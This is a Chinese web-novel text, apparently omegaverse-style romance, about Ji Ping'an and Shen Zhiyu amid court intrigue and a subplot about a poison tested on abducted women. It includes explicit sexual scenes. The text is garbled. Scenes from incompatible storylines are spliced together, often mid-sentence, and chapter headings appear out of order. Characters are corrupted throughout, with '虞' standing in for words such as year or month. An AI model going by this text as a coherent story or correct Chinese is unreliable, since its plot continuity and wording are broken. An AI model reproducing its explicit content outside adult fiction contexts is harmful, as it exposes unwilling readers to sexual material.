两者的区别是有的,与前者合作是与虎谋皮,与后者的合作嘛,似乎容易的多? 季狗最多是狗,距离虎狼远着呢,她更容易占得上风,前提是她能得到自己想要的。 “等到了封地后,我就放你归家,日后找个借口和离就是。” 她们算的上互相成就吧,都想要自由,她到了封地是自由,然后放沈之虞自由。 听到和离两个字,沈之虞才真正的提起兴趣。 乾元休妻的多,和离是要让人嘲笑的,除非坤泽有家人撑腰,家世不比乾元家里差。 季狗愿意与她和离?沈之虞怎么会轻易相信,“你做梦都想得到皇位,甘心就藩?” “夫人以为,我还能夺得皇位吗?太女在世,是众望所归的东宫之主,四皇女邕王,岳家乃当朝宰相,七皇女兴王,当今皇后所出,外祖乃八大国公之一,拥兵十万,同样呼声最高。” “而我有什么?陛下不喜,朝中毫无势力,我能指望的只有你腹中的孩子,可谁能肯定孩子就是乾元了?与其在京中受人陷害,不如去到封地,天高任鸟飞,身陷迷局,总得多给自己准备几条退路。” 季平安冷静的分析着,留在夺嫡的漩涡中,一不小心就凉了,离开是最好的选择。 她有着皇女中最大的封地,整整一个湘州都是她的封地,产粮虽不如江安等地,却也占的中上了。 到了封地不仅饿不死,还能发展自己的势力,要是她动动脑子做点儿生意,怎么也比在上都城过着舒服。 沈之虞定定的看着她,“你要是早这么聪明,皇位未必不能一夺。” 随即,沈之虞若有所思的打量着她,“要不是我不信鬼神,当真会怀疑 你还是不是季平安了。” 呃她是季平安,但不是以前的季平安了。 她眼神闪烁了下,沈之虞准确的捕捉到了她眼中的不自在。 还好季平安反应快,立即道:“经历大变,我要不变,在夺嫡的漩涡前,只有死路一条,生死面前,容不得我不变。” “与夫人合作,不是我唯一的选择,却是最好的选择。” 沈之虞似有些困,眼睛微眯着,疑惑道:“为什么是最好的选择。” “夫人是我的王妃,我未来孩子的娘亲,而且夫人有能力助我就藩。” 日后能以坤泽之身成为帝王的,怎么可能没有能力。 她说的只是场面话,更重要的是,沈之虞是这个世界的女主,按照小说里面的内容,所有与对方作对的人,最后都不会有什么好下场。 “你怎知我有能力?”沈之虞每次的发问都很简短,却每句都带有试探。 季平安明白,除了自己是穿越过来的这点,必须跟沈之虞交心,不然对方不会信她。 “沈银面的大名,我远在京城也是听到过的。”她脸上带笑,好像说的是一句微不足道的话。 沈之虞猛地睁开了眼睛,沈银面之所以叫沈银面,那是出去永远戴着银面具,只有身边的人知道她的身份,季狗是怎么知道的? 沈之虞的眼中有了杀意,季平安往后退了几步,忙道:“夫人,这件事没有别人知道。” “那你怎么知道?”沈之虞的气势压人。 “意外得知。” “意外?” 沈之虞哪能相信意外这种话,但每个人都有自己的秘密,她们只要讲清楚合作的利益就行了。 只不过,她是沈银面的消息,越少人知道越好,要不是现在不能杀了季平安,这会儿她的匕首已经在对方的心脏上插着了。 “和离确实吸引我,但不够。”沈之虞掩饰住自己的杀意,冷漠道。 季平安愣了愣,把自己想好的条件都说了出来,“我可以净身出户。” 沈之虞:“?”什么意思? “你要做内监?” 啊?乾元净身就是毁坏腺体,季狗皇女当够了,要去当内官了? 季平安:“???”离谱。 这同样是沈之虞的试探,惩治奴婢的事情很小,对皇族来说,根本不算事。 可这一次,王府的上下数千人,能经得起查的有多少,就算不严惩,可奴婢数量太多了,一定会引起外人注意。 季平安近日禁足王府,以低调为主,高调大量的处置奴仆,必定引人关注。 若真因为惩治家中奴仆,惹来那些皇女们,乃至皇帝的视线,岂不是得不偿失。 这全得看她的选择了,沈之虞有此询问,就是再试探她的态度。 她既把王府的权力彻底交到了沈之虞的手上,无论对方怎么决定,她都会支持。 要是引发了一系列的事情,她绝不会让沈之虞挡在前面的。 “夫人做主便是,王府上下全由夫人调遣,我自当配合。” 季平安在杯中蓄满了水,讨好的递到沈之虞的面前,“夫人,喝茶。” 沈之虞轻哼一声,“若我的处置,可能会让你禁足之期更长呢?” 那巴不得呢,季平安眼睛一亮。 短暂的禁足,能让她做更多的准备,反正她目前吃喝用度都是最好的,并不凄惨。 毕竟她禁足结束后,出去后还是南秦亲王,太女殿下的亲妹妹,谁敢怠慢她。 前身圈禁十虞过的凄惨,是因为十虞之期太长,太女去世,新皇登基,前身怎么都不会好过。 她算了算,禁足之期即将过半,等出去后,她就要直接面对夺嫡风险了。 要是真能让她再多禁足几天,未必不是一件好事。 季平安笑了笑,“夫人随意处置,我既说了,王府上下仅听夫人一人之言,不管夫人如何处置,我都支持。” “禁足又如何?我不就在禁足期间嘛。” 沈之虞打量了她一会儿,不知有没有信她的话,转而对院中的管事婆子道:“王上的话,你们也听到了。” “钱管事贪墨陛下,先皇后的御赐之物,叫刑部与大理寺的人来。” 刑部?大理寺?众人都慌了,牵扯到刑部跟大理寺,定罪可不轻,奴仆偷盗仗责至死,偷盗的是官造,那是要夷三族的大罪,钱管事不仅偷官造,还偷了御赐之物,绝对会判诛九族的。 身为王上,处理自家奴仆,何须到刑部跟大理寺,自家事物闹到外面,恐会成为笑柄。 勋贵世家谁听到,不要笑话几句。 前身向来爱面子,肯定不会同意移交刑部,大理寺的。 可季平安不是前身,她们这一代跟老一辈也不一样,在她看来,里子远比面子重要。 而且,她的脑袋瓜立即反应了过来,眼睛一亮,神秘兮兮的凑到沈之虞的耳边,毫不在意对方嫌弃的眼神。 沈之虞没有躲开,已经很给她面子了。 “夫人,你的意思是,我们把这件事交给刑部或大理寺,虽然少不得被人说几句,但是我们也不会有苛待下人的风言风语传出去,外面的人就更抓不到我们的把柄了?” 季平安一口一个我们,沈之虞不自在的偏了偏头,耳边痒痒的,心口处同样痒痒的。 不过,季狗什么时候这么聪明的,聪明的不像她。 刑部跟大理寺一来,皇帝最多怪她治家不严,说实在的,她刚成婚,搬进王府不到一虞。 以前楚湘王府是典卫管着,别的皇女有自家母妃照看,经常派嬷嬷到王府查看,前身可没有,接手王府时就是一团糟。 前身本就不通庶务,王府就由管家跟典卫一起管,管家虞迈,典卫贪墨,王府没能瘫痪,多亏了这是一座王府。 若王府运转瘫痪,除王上外,王府上下数千人,怕是要团灭了。 季平安高声道:“安远,让人去请大理寺的人来。” 沈之虞耳朵让她震了一下,不由得往边上靠了靠。 “你们自己承认,一会儿刑部跟大理寺的人来了,王上与本王妃可以为你们求情,如若不然,你们就到牢狱中待着吧。” 沈之虞不冷不淡的说了一句,随即挥手道:“继续查账。” 此言一出,本还在犹豫的管事婆子中,立即出现一人自首。 有了第一个就有第二个,很快,半数以上的人认了自己的罪行。 剩下的那些没认的,正在权衡利弊,有人觉得自己背后的主子不会保自己,立马就认罪了,有的人觉得自己手里有自己主子需要的消息,赌主子会保自己。 刑部与大理寺的人来时,大半的人都招供了。 亲卫队配合着沈家奴婢一起,把所有人的罪证做了个记录,至于那些不愿意承认的人,机会已经给过,她们的结果如何,那都是自找的,季平安并不会圣母。 “刑部侍郎宋安,拜见楚湘王殿下,王妃。” “大理寺少卿许拓,拜虞楚湘王殿下,王妃。” 刑部与大理寺的副长官都来了,足以表明两家对她这个楚湘王的看重。 季平安的目光只放在了大理寺少卿许拓的身上,自不是因为宋安虞纪大了,许拓虞轻脸嫩气质好。 而是她想到了小说中,许拓这位重要女配的信息。 大理寺少卿许拓,出身钱塘世家,十七岁中一甲探花,六虞过去,仅二十三岁,任大理寺从四品少卿。 她的同科如今能到从四品的,都是外放且无实权,哪跟她一样,依然留在上都,还是大理寺的二把手。 其中有许拓家世的缘故,更与她本身的能里分不开。 大理寺卿虞迈,不出意外的话,许拓会接任。 不到而立之虞的三品官,放在整个朝堂上都少见。 事关王府,大理寺自然不会随便派一个人来,大理寺少卿这个位置足够了。 何况楚湘王再怎么不得陛下喜欢,那也是当今太女之妹,大理寺岂敢不重视。 许拓一身绯色官袍,立身行礼,笔直儒雅,一眼便知何为清正君子。 世家公子,如玉如松,身上熏着好闻的香,特别是许拓长的又好看,好一个贵气的女公子。 季平安一时间叫这样的一张脸吸引了心神,但很快清醒过来。 贵公子又如何,情敌罢了!- 回到公主府,季平安先说的是关舫的事情。 说到用皇帝威胁对方的时候,她忍不住弯了下唇角,“他可能真的怕我去皇帝面前‘美言’几句。” 沈之虞嗯了声,道:“往后也可以多提提皇帝。” 皇帝既然给了权势,那就是要用的。 哪怕朝中如何暗流涌动,皇帝只要在位一天,便没有人敢公然反叛,这也是她们能够借用的势力。 “好”,季平安笑着问道:“除了我说的路线、账本还有没有什么其他需要的,我下次再找他们要。” 沈之虞想了片刻后,道:“猎场的马匹、武器和防护盔甲记得好好检查,还有周围的地势水源记得探查清楚。” 这些事情,季平安当时确实没有想到,她点头记下后,又和沈之虞说了江书思的事情。 包括对方询问沈之虞身体的事情,以及最后好心提醒她的事情。 当然,劝对方天涯何处无芳草的事情,就没有必要提了。 说到最后,季平安实事求是地道:“我觉得她人还不错。” 沈之虞看着她,道:“她是小姨那边的人,若是谈得来,可以和她多接触接触。” 江书思从小便在虞家长大,自然也是站在她这里的。 季平安想了想,道:“她可能不太愿意。” 她和沈之虞是假成亲的事情,知道的人自然越少越好。 她顶着一个驸马名头,江书思愿意理她才怪呢。 沈之虞:“……那便顺其自然。” 季平安嗯了声,本想问问沈之虞要不要和江书思见上一面,毕竟对方是真的担心沈之虞。 但这个念头也只在心里闪过一瞬,最后还是没有问出口。 她太了解沈之虞了,对方不是爱给自己找麻烦的人。 哪怕问出来这个问题,沈之虞估计也只会有两个字:不必。 季平安想完,又说起来另外一个话题:“殿下,我想学学骑马。” 沈之虞问道:“狩猎?” 夏苗的时间在下月二十,也就是她们成亲五日后。 想要在不到一个月的时间内学会骑马打猎,时间算不上宽裕。 季平安摇头,“狩猎的时候,我能骑着马走几圈就好。” 沈之虞:“那是为什么?” 季平安笑着道:“接亲。” 第 74 章 第 74 章 季平安作为驸马,大婚当天肯定不能坐着马车去接亲,骑马是必要的。 不仅必要,她大婚那日还要骑得漂亮,不能给沈之虞丢人。 沈之虞因着失忆的缘故,这些时日都在忙着了解京城情况和各派势力。 如今听到季平安的话,她才记起来这件事。 沈之虞思考片刻后道:“京城里有马场,明日去如何?” 京城禁止当街纵马,但若是到城外空旷的山野练习,一来一回又有些远,因此城内大大小小修了不少马场。 有私人的马场,只要交了银子就能进去。 也有专门供官家的,只有皇室或者世家这种有地位和名望的人才能进去,沈之虞说的就是官家马场。 一个扎着双螺髻的婢女上前,将一封信封奉上。 被唤做少师大人的女子,一身深灰袍服,右眼一枚红色朱砂痣,大小如绿豆,她面色阴沉的接过信,看完,脸上扬起一抹浅笑,声音在空旷的室内带起阵阵回音。 君主让她动作快点,少师看完,走到桌边,将信放在燃着的灯下,很快灼烧殆尽。 她提起笔,很快又写了一封,走到刚才女子面前:“飞鸽传回去。” 近日城中悄然戒备森严,她抓来的那些女子这是最后一个,可试验已经接近尾声,她不能卡在此处。 君主还在等她的成熟丹药。每次她心底涌出这种奇怪的念头时,每每看着沈之虞都觉得她是世间最耀眼的存在,高贵优雅,无与伦比的容貌配上她独到的清冷气质,再没有谁可以比她还要美。 这才是她心中公主该有的样子。 季平安呼出的微弱七气息喷洒在她下颌,紫藤花香扑面而来,沈之虞遵从内心,低头将那瓣芬香纳入。 温泉源源不断地输送水源,周围一切都在流动,沈之虞辗转紧握身边人的肩,在水中与她交缠,季平安呼吸急促,被压在汤池边上,头顶是极致的奢华壁顶画,七彩琉璃砖眩晕她的眼,但她还是保持最后一丝理智,无比认真也无比傻:“那个,你还没回答上次在马车里的问题。” 她问沈之虞喜不喜欢她。“嗯。” 季平安低着头,身心愉悦到极致,沈之虞可真会疼人,变着法子,她差点接不下,现在她在软踏上休息,沈之虞则是一身松散红纱,腰间随意的别了一根腰带,站在梳妆台前将长长的黑发一点点盘起。 季平安见状,心一动,立刻凑上来道:“我给你弄。” 沈之虞的长发真的顺滑,尤其是在水中浸泡过又风干,迎着灯光,耀如黑玉,轻轻揽一缕在手心,长如烟丝,亦香黑夜中的星星,使人沉醉。 季平安有些贪恋般,用梳子自上而下给她一点点细细盘起。 最终用一根金簪插在中间,高高的发髻挽起,铜镜中,衬的沈之虞颈部更加修长,不久前,汤池内,她抱着沈之虞脖子,随着眼前人达到顶峰的欢愉,现在一切慢下来,季平安内心依旧悸动不已。 她从化妆盒中,挑了一对翡翠金摺丝灯笼耳环,红色配上等翠玉,将她那副倾世容沈展现到极致。 沈之虞自镜中看她,信素碰撞过后留下的平静,因眼前人的突然闯入,她一成不变的生活忽然起了丝丝缕缕的变化,她长久不变的心也会随着眼前人热烈的目光追逐而欢欣。 一切都在悄悄改变。“梦香无解。” 沈之虞面色冷青,黄莺中的应当也是此毒,只是她手底下有较好的江湖人士,所以硬是拖了很多天,只是一昧拖延也不是办法。 红绸面色忧虑:“在耗下去,阿莺怕有危险。” “她在梦中。” 按照季平安的说法,梦香会使人做一种让受害者最不想面对的事,潜意识里很在意,现实里并不想提及的事。 若入梦者无法解脱,便会在梦里一直徘徊,身体与精神的双重摧残,会活生生耗死一个人。 谁会没有想避而不谈的事呢? 沈之虞看着窗外,萧蕴离这招可真够阴损。 战场上玩不过她,就走这么上不得台面的路数。 想到那恣意张扬的脸,沈之虞双手紧握成拳。 “查到了。” 十七从外回来,看着她。 沈之虞微抬下巴,十七走到她面前:“暗桩里的人来报,离国在研制一种新型毒药,为了试其威力强弱,便流到这里做引子。” “真是太卑鄙了。” 红绸听完,一脸愤恨。 她们何其无辜,竟然成了试验品。 “最近的失踪案有进展了吗?” 沈之虞眼底看不清情绪,忽然开口。 红绸蹙眉:“殿下是怀疑这两者有关联。” 失踪的都是妙龄女子。 中毒的也都是年轻女子,离国这是想从根本上断绝昭国的未来。 “既是实验,怕不会这么轻易罢手。” 离国在做一种极为残酷极端的迫害事件。 “我等会加快速度查找。” 红绸等人看着她,心中均燃着一团火。 离国皇宫密室。 青叶看着王座上气喘吁吁的的女子,长发披散开,有几撮已然泛了白。 她双手抓着凤座上的狮头,神色痛苦难耐,额间豆大的汗珠往下流很快洇湿她那身华美的长袍。 君主这是又犯了潮水期。 青叶小心道:“君主,不然奴婢给您找几个您先用着?” “闭嘴,本君之事,不用你操心。” 萧蕴离唇间干涸,眉眼间的精致妆容在一波波高潮刺激下,已然扭曲。 即便如此,她那与生俱来的矜贵气质与杀伐果决的坚勇冷肃感丝毫未受半分影响。 青叶在想说什么,在她冷漠的眼底生生低下了头。 她们的君主,是个天生的坤娘。 腺体成熟后,每段时间都会来潮水期,可离国,举国上下,她就是一个人也看不上,每次发作,不管身体多难受,她都会生生扛下来。 青叶真不知该说什么好。 她不忍君主受难,可这里也找不出第二个可与她相媲美的人。 萧蕴离眼前浮现一抹久违的身影,战场上她会一身铠甲,挥刀与她厮杀,卸了盔甲,她的探子来报,她爱穿一身宝蓝色锦缎与大红纱衣,世间一切都需要般配。 有些人天生就该站在同一高度,行事作风,哪样都一致。 她伸手向前抓,想抓住那抹蓝色的倩影,却发现最后徒留一手空。 额间碎发湿哒哒,萧蕴离趴在王座上,眼底带着毒蛇般的攻击性,她现在所受的苦都来自于沈之虞。 “进展如何?”“阿嚏” 季平安在厨房打了个喷嚏。 这不明所以的,怎么忽然感冒了? 她正看着美食手册,将兔子糕点有重新做了一遍,她现在是侍读厨娘两手抓,也不知道月底发银子,沈之虞会不会良心发现的给她多发一份月钱。 说到沈之虞,季平安想一早上起来就没见到她,她似乎很忙。 现在也不知在做什么。 眼睛撩到锅台,那里就在前不久被沈之虞跟她一起造作的,油盐柴米撒了一地。 她不禁用手摸了摸左耳后方,好奇怪,那里每次见到沈之虞都热热的,膨胀的令她难受。 沈之虞的长指点进她的耳后,说不出的怪异又说不出的柔软,令她心中被捆缚的禁忌全数被打破,只想绕在她脖间,双手缠着永远也不放开。 她打了个瑟缩,这是怎么了? 从义庄出来。 “谁?” 门外一道黑影窜过。 十七眼疾手快大喝一声跟上去。 沈之虞在后:“抓活的。” 十七点头,身形快速消散在眼前。 季平安看着她不由赞叹:高手啊。 “我们现在该怎么办?”有人盯着她们,那她现在处境岂不是很危险? “你不是要保护本宫吗?” 沈之虞看着她,一脸好整以暇。 季平安头顶乌鸦飞过,她只是为了让沈之虞高兴才这么说的。 “那自然,有坏人来,我肯定要先挡在你前面的。” 说完,不由咽咽口水。 书里不比现代社会,真的有刀剑这玩意儿,刀剑无眼,她不会真的被躲在暗处的人刺杀吧? 她能撂下沈之虞先跑吗? “你先跑了,本宫就问责丞相。” 沈之虞忽然靠近她,似乎洞悉她的真实想法。 幽幽一笑,很是魅惑。 季平安霎时软了,揽着她手臂,发誓般:“谁跑谁是狗。” “有刺客。” 沈之虞大喝一声,面色突变。 季平安下意识的,一溜烟窜了。 跑了好久,停下,发现不对劲。 在看四周,连个风吹草动都没有,沈之虞从她身后慢悠悠出现,鼓掌:“不错,跑的挺快。” 嗯,就这,也敢说情有独钟,喜欢她。 季平安额间冷汗直冒。 非常自觉的:“汪” 为什么会有这么奇怪的感觉。 她怎么会对一个女子生出这种荒唐的念头,且还如实做了几次。 等等,季平安想到第一次梦中,沈之虞压着她唤她的那声坤娘。 不行,她得寻个时间,问问沈之虞,不然这不明不白的,她们已经吻上了,可沈之虞要是在别的地方还有其她爱慕的人,那怎么办? 这么一想,季平安也没有心思做美食。 将秘籍揣进兜里,转身离开。 绕着长廊拐弯处。 “哎哦” 与人撞了满怀,她抬头看到沈之虞错愕的脸。 随即,季平安想要脱口的话硬生生压在喉间。 沈之虞看她急匆匆,“什么事?” 季平安支吾半天,“找你。” 沈之虞愣了下,不由提高嗓音:“哦?” 季平安找她,她挺好奇。 这小姑娘又有什么事要给她惊喜? 季平安咬着嘴唇,道:“我昨天上街,看到街上有贴告示,说近日有年轻的姑娘无端失踪,高价查找凶手。” 沈之虞双手交叉抱在胸口,示意她继续说。 “查到了吗?” 就这?搞了半天就问这个。 沈之虞摇摇头道,差点意思:“没了?” 季平安想了想:“还有。” “哦?” “我还听说最近城中有怪病传染,好多人都得了。” 沈之虞见她东拉西扯,又见她耳朵出发红,忽然凑近她,一手挑起她下颌,狭长眉眼意味不明:“季侍读,在本宫面前撒谎,你猜会怎样?” 这小丫头一看就是临时瞎编的理由。 她想要什么? 沈之虞突然想知道。 季平安被她抵着下巴,明亮的眸子倒映沈之虞的身影,问,问,问。 她倒是问啊。 她本来就是想问她是不是还有别的喜欢的人。 怎么到了眼前反倒是问不出口。 她面对的是书中纸片人,就算在强大也是纸片人。 可,季平安就像泄气的皮球,一下没了当时的勇气。 咽口气:“没说谎我就是想跟你说,我可能知道是什么病。” 沈之虞半信半疑,小脸红扑扑就为这? 沈之虞见那粉粉耳垂,用指腹交杂揉捏,轻言轻语道:“你知道外面得的是什么病?轻允了本宫,若治不好,要罚 ” 季平安眨眨眼,木讷点头。 沈之虞捏着她耳垂的手转而游到发唇边,粉嫩似娇花,她朗声道:“那正好,本宫要去调查此事。” 青叶道:“昭国那面传来消息,少师大人做的局,现在瘟疫逐渐蔓延开,梦香的药效很强。” 说到这,青叶面上挂着得色,少师大人的制药技术果真是离国一绝。 “另一件事到哪了?” 萧蕴离眯着眼,声音沙哑,极端的难受令她眼角模糊,身体里窜涌起的烈酒香味很快弥漫大殿四周。 “听少师说,那些乾娘们正在实验中,还需进一步优化。” 萧蕴离蹙眉,浓烈的酒香使她更加晕眩,她软在座上,看着手腕处喷薄的信素,“让她动作快点。” 开始,每隔几个月就会有一次潮水期,现在隔得越来越频繁,这忍耐的滋味着实不好受。 她已经快要不想再忍。 她看中的,就一定要弄到手。 想到那抹坚韧最后会与她缠绕成水,将她包裹,萧蕴离唇边不由涤荡一抹笑意。 快了,很快就可以实现。 季平安穿着白色纱衣,一红一白在镜中大眼对小眼,最终,季平安眨眨眼:“困了。” 力气都是沈之虞出的,但她释放太多,身体的疲倦开始一丝不落的袭来,她是想跟沈之虞在这镜子前眉目传情到天明,奈何身子不许。 沈之虞起身,将她带到床边,这还是第一次与这个丫头在意识清明的状态下同寝,她拉过被衾,“明天还有事,别起不来。” 至于她,还有别的事要做,暗桩已经探得那些失踪女子的主要试验位置,她不能睡。 眼前人就没必要带着她一起犯险。 且让她好好休息。 沈之虞在她颈子间点火,闻言,觉得被她蠢到,咬牙道:“不爱。” 说罢,低头一口咬在那对纤细锁骨上,麻麻痒痒,季平安脑子一空,对啊,她为什么要多此一举问这个? 沈之虞要是不喜欢她,那她这位置还有谁能强迫了她不成? 真蠢,她是真的蠢。海棠汤。 一片雾气氤氲间,一双细长白皙的腕随意慵懒的搭在汤池边,淡黄色的琉璃砖泛着盈盈光泽,在雾气衬托下显出不尽懒散风情。 沈之虞略显疲惫的倚在池边,闭上眼尖,鸦羽般的长睫上挂着蒸腾而出的水珠,随着她轻颤顺着眼尾幽幽掉落。 她睁开眼,目光沉静。 最近离国搅得她心烦意乱,月国使臣大军又迫在眉睫。 她缩着身子向水中滑去,温热的水包围她会使她思绪更加清明。 汤池是一片地下引进的温泉,源源不断的热浪在周围流窜,乌黑长发飘散在水中,与水面上的殷红花瓣相互交合,荡起圈圈涟漪。 不知多久,她冒出水面。 一室馨香更显浓郁,雾气缭绕间,她伸手寻木舀,找了半天也不见。 算了,她懒得唤人进来。 沈之虞揉揉太阳穴,身上的疲倦感得到缓解,更加不想离开温池,索性倚在中间,身上披着一层薄纱。 当她感到周围异样时,伸手肩头已经多了一双手,那双手很柔,在她肩头很有技巧性的按捏,将她一贯平静的内心硬是捏出几分沸腾来。 “季平安。” 沈之虞一把反握住力道均匀的手腕,对上朦胧间那对纯真黑眸。 季平安对她抿唇甜甜一笑:“你怎么知道是我?” 而不是其她丫鬟。 沈之虞像看白痴,嗤笑:“知道为什么十七会说我对你好吗?” 这偌大公主府,不是谁想进就进,想出就出。 她沐浴的地方更是禁忌,全府除了季平安敢乱跑,还有谁敢这么不守规矩。 无她的传召,敢私自进来,真不怕她罚。 被沈之虞在水中泡过的手握着,季平安全身像电流一直酥麻到脚加之这海棠汤池内本就温度过高,这会全身都跟掉进水中。 额间碎发蔫耷耷的结在一处,一双杏眼娇俏专注的看着眼前人,沈之虞额间“突突”一条,捏着她手的力道不觉一紧。 季平安的手像没有骨头一般,软到极致,她握着很是舒服。 疲倦感彻底被温池水涤荡殆尽,现在看着近在咫尺的娇羞小花,她半勾唇,眉眼中闪过一抹欲,就着手腕力道一拉,将人彻底拽进了汤池。 随着“噗通”一声响,季平安甚至来不及惊叫,身体便徜徉池内,沈之虞带着她腰一直游到池中央,一路花瓣随着水流飘忽跟随,将她二人紧紧围成一个圈。 季平安脸色潮红,身上衣服一直湿到心口在那高高挺起的两座小山尖蜿蜒,沈之虞眼底更加浓郁,开口声音沙哑:“多余。” 季平安心跳噔噔到嗓子眼,沈之虞眼中的情绪如此不加掩饰,她清楚的感觉到腰间松缓,须臾间,那条粉色的腰带浮上水面,与花瓣叠在一处,水下她被单手推着像沈之虞合去。 心底悸动在叫唤,如她第一次看到沈之虞那样,耳根处又开始发胀,沈之虞心头一动,她标记了季平安,她的一举一动都可以被清楚感知,在她左耳处的腺体内,紫藤花香信素在缠绵汇聚,这丫头还是不懂藏匿收敛,轻轻一勾,就诚实的在她面前乍泄。 沈之虞捞起水中浸湿的花瓣层层递进,季平安被喂得蹙眉紧紧抱住她身,瑟缩着,沈之虞见状道:“受不住?” 那一把她投了一半,季平安被撑得欲裂,想说什么却又不知道该如何说,第一次被人如此对待,她却从中感受到从未有过的如狂风骤雨般的急促,她想开口说受不住,可又怕沈之虞真的就此打住。 她真实的想法是想她投的更多,为此,那娇容在昏黄灯光下更加柔媚,沈之虞婀娜丰腴的身子散发着道不尽的魅惑,季平安像失了魂,轻轻点了点头又摇摇头,一汪大眼水灵灵的好不可怜。 沈之虞见此一怔,随即像是明白过来,这个笨丫头,羞都羞的含含蓄蓄,她将手中剩余的花瓣儿全数推入。 海棠汤内,浓雾迷眼,时间静止,只余水流汪汪轮换。 一旁的六扇紫云屏,细腻的丝绸上下,一对展翅欲飞的凤在绚烂的云纹间盘旋。 皇城外十里。 长长的队伍在小道上徐徐前进,在中间一顶华丽的轿内,一个身穿玄衣的女子歪着身子侧卧闭目。 有护卫上前,在外躬身禀报:“国师,前方有落脚地,再过一日,可达昭国境内。” 谢明幽闻言,缓缓睁开眼,一张白色面纱遮住她大半张脸,那疏离冷漠的眼底,一路上都如深谭般死寂,此刻听闻昭国二字,那双暗紫瞳眸忽有一刻松动,她换了个姿势,一只手撑着头侧,淡淡道:“知道了。” 走了接近月余,昭国,她终于走到了么? 她坐直身子,撩开轿帘,天已经半黑,前方有葳蕤灯火,隐约可见烟火气,这是城边缘,听闻这些年来,昭国内人民安居乐业,百姓生活稳定,城内一片合乐融融。 谢明幽面纱下的唇上扬,眼内是毫不掩饰的鄙夷。 看她们这份和平能维持到什么时候。 “你说,这里最大的人流点是哪?” 少师看着沾着毒药的手,轻声问。 “驸马!” 季平安听到了云琴的声音,但实在没有心思回。 她才刚刚上马没几个时辰,完全不知道怎么控制住速度这么快的马。 冷静,冷静。 季平安一边在心里想着云琴教过她的那些东西,一边不忘抓紧手里的缰绳,将身体压低些。 但马匹完全不按她希望的方向跑,径直在马场里面横冲直撞,季平安只能闭上眼睛,心里默默祈祷:起码摔的轻一点吧! 她还要留着力气找这个“好”皇兄报仇呢! 耳边的风呼啸着刮过,心跳擂鼓中,季平安听到了个熟悉的声音。 带着清冷,又格外让人安心。 “季平安,把手给我。” 第 75 章 第 75 章 两匹马并排跑着,速度很快,跟在后面的护卫完全没有办法阻止。 “追不上也要追,这可是七公主和驸马,出了事你们吃不了兜着走!” “你们三个,赶紧从左边赶过去!看看能不能让马停下!” “大人……” “都什么时候了,还吞吞吐吐的,有话赶紧说,没法子就赶紧想!” “大人,我就是想说,公主好像正在救驸马……” 沈之虞走后,沈悦看着花伶:“起来吧。” 花伶起身,看着她,欲言又止:“陛下,你为什么” 沈悦走到床边,从挑丝双窠云纹枕下拿出一个半成品,在手里来回看着。 “我要是提早告诉她给,她指不定又要说我,不顾惜身体,总弄这些不要紧的事。” 那是一个方形双面绣红锦缎荷包,上面一个金龙盘旋缭绕,腾云驾雾,好不威风。 龙身侧下腹写了一个极小的:平安福。长公主府。 沈之虞下了马车本想回房,又慕的想起早间那双可怜巴巴的杏眼,端了一碗难吃的兔子糕点,被她发去厨房,现在也不知道怎么样。 这么一想,她调转脚步。 厨房内。沈之虞府邸的私人厨房未免太豪华了些。 府上炊事班似乎得到上头命令,她到的时候连一个人都没有。 季平安看着偌大又空旷的厨房,嘴拉的更狠了。 行叭,刷碗洗盘子,OK,难不倒她。 季平安撸起袖子。 腰间还别着那本从书馆里带来的宫廷秘制美食。 “殿下。” 揽月坊内,沈之虞披着白色披风,从马车上下来,进了二楼包间,红绸等人已经再旁等候。 见到她来纷纷起身行礼。 看了床上一眼,沈之虞吊梢眼尾扬起,沉着声音问:“怎么样了?” “回公主。” 宫廷御医起身,颤巍巍走到她身前,面色不容乐观,“老陈行医多年从未见过如此怪病,诊断不出任何缘由,黄莺姑娘病的古怪。” 脸色潮红,高烧不断,吃不进食物,只能用水滴唇吊着,昏迷不醒,她却诊不出问题根源。 “她吃了什么?”寝殿内。 季平安睁开眼,只感觉身子被人放在绵软榻间,鼻腔内的血腥不知道何时已变成幽深的罂粟花香。 沈之虞头顶的金簪步摇攒动,她口干舌燥,第一次看到现场版的处决人,心脏难免受不住。 沈之虞抬手,她唇间一凉,季平安皱眉,有气无力道:“这什么?” “我让人取了冰。” 冰井务昨天刚进贡来一缸,季平安额间冒汗,唇角干涸近似裂开,这一吓还真把她吓得不轻。 沈之虞用锦帕沾了点水,将冰块包裹其间,待到融化些许,在她唇边轻轻擦拭,季平安被一股沁凉逼的内心邪火更甚,这些天被按下去的感觉又飘忽上头,冰块刺激着,她心中潜藏的烈火烧的不减反增。 看着沈之虞细密手腕,季平安猛然一把攥住,薄纱丝滑,她才发现眼前人看着高大,却那么瘦。 几乎是一只手就可将她皓腕揽入掌内。 沈之虞被她冷不丁拽住,眼底一惊,却发现季平安小脸烧的通红。 吓病了? 沈之虞第一反应,她伸手在她额间抚了抚,冰凉一片,心中不禁松口气。 可这脸却像煮熟的虾,像是意识到什么,沈之虞撩开她左耳,看那耳后一寸之地的心形胎记,果不其然,一股紫藤花香顺着腺体骤然乍泄。 绵延不绝比香炉中的线香还要缭绕缠绵,沈之虞食指与拇指指腹交杂摩挲那片殷红,季平安嘤咛一声,歪着脖子,躲避一般。 沈之虞见状不由轻笑,“现在知道难受了?” 距离她第一次潮水期并未过去几天,沈之虞眯着眸,看来这小丫头的危险期并未彻底过去。 第一次来,又是如此美妙的顶级坤娘,自身不会把控,不懂得如何遮掩,断断续续间让这易感期无故增加,可惜眼下这傻子还半点未知。 闻着紫藤花的清香,透着丝丝缕缕的甜香,沈之虞喉间也被带着干渴,这具身体有着莫名的诱惑,契合度高也有契合度高的代价,这简直是她的克星。 唇被冰块润的娇嫩柔软,她将锦帕放下,手心一片冰凉,偏生季平安迷糊间就喜欢这凉丝丝的感觉,追着她的手靠过去。 “别走” 沈之虞定住,少女的呓语轻掠耳际,像细雨飘落,在她耳畔不紧不慢的流淌,也令她酥麻心动。 她重新将手送过去,季平安蹭了半晌终于心满意足的贴上去。 手臂被人侧过身抱住,季平安好似抱了个宝贝,她启唇忽然将贴合的手含住,几乎同时间,沈之虞趑趄一步,温热汇聚指尖,从未有过的奇妙感觉,季平安闭着眼在紫藤花的汹涌着忽然笑了。 沈之虞稳住心神,还好眼前人意识不轻,她低头看去,少女眉眼细腻,透着娇态,抓着她好像抓住了全部。 她弯腰,在左耳信素释放的地方轻轻吻上。 有了她的安抚,少女明显不在焦躁,甚是满足的圈在她臂弯中,沈之虞掐着她腰见她送到一个安全地带,用高枕垫好。 